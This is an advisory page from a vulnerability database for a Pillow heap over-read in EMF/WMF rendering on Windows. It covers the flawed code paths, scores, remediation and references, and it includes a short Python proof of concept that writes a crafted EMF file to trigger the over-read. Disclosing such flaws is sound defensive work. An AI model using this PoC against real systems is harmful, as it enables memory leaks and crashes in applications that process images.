CVE-2026-96644 — Pillow: Heap over-read in pillow — CVE Details
Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.49%). Schedule for your next planned update.
Does your project use an affected pillow version?
Paste your requirements.txt to check it for CVE-2026-96644 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.
Details
The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:
src/PIL/WmfImagePlugin.py:121-129reads the bounding box;:148stores it; the size reaches the native handler throughsrc/PIL/WmfImagePlugin.py:56.
In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:
src/display.c:793-794assign the 16-bit fieldssrc/display.c:800sizes the allocation from themsrc/display.c:827copiesheight * ((width * 3 + 3) & -4)bytes using the full values
The whole handler is compiled only on Windows (#ifdef _WIN32, src/display.c:33-841).
PoC
import struct
from PIL import Image
def L(v):
return struct.pack("<i", v)
# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf = b"\x01\x00\x00\x00" + L(88) # record type + size
emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF" # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)
im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load() # over-read happens here on a Windows build
On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).
Impact
CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.
Advisory Timeline
- First published October 22, 2026 (35 days ago).
- Last revised October 29, 2026 — 7 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "pillow>=13.0.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| pillow PyPI · Affected: 1.0, 1.1, 1.2, 1.3 (+103 more) | 13.0.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-125Out-of-bounds ReadMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.1 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hjWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-96644ADVISORY
- https://github.com/python-pillow/Pillow/pull/10120WEB
- https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7WEB
- https://github.com/python-pillow/PillowPACKAGE
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0WEB
Frequently Asked Questions
- What is CVE-2026-96644?
- Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds). This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.1/10).
- How do I check if my project is affected by CVE-2026-96644?
- CVE-2026-96644 affects pillow. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-96644 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 35.2% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-112900CRITICAL
Pillow: Argument Injection in Ghostscript call, potentially leading into RCE
- CVE-2026-112896HIGH
- CVE-2026-112901HIGH
- CVE-2026-54058HIGH
Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)
- CVE-2026-112400HIGH
Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS
- CVE-2026-59199HIGH
Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow
- CVE-2026-40192HIGH
FITS GZIP decompression bomb in Pillow
- CVE-2026-96636MEDIUM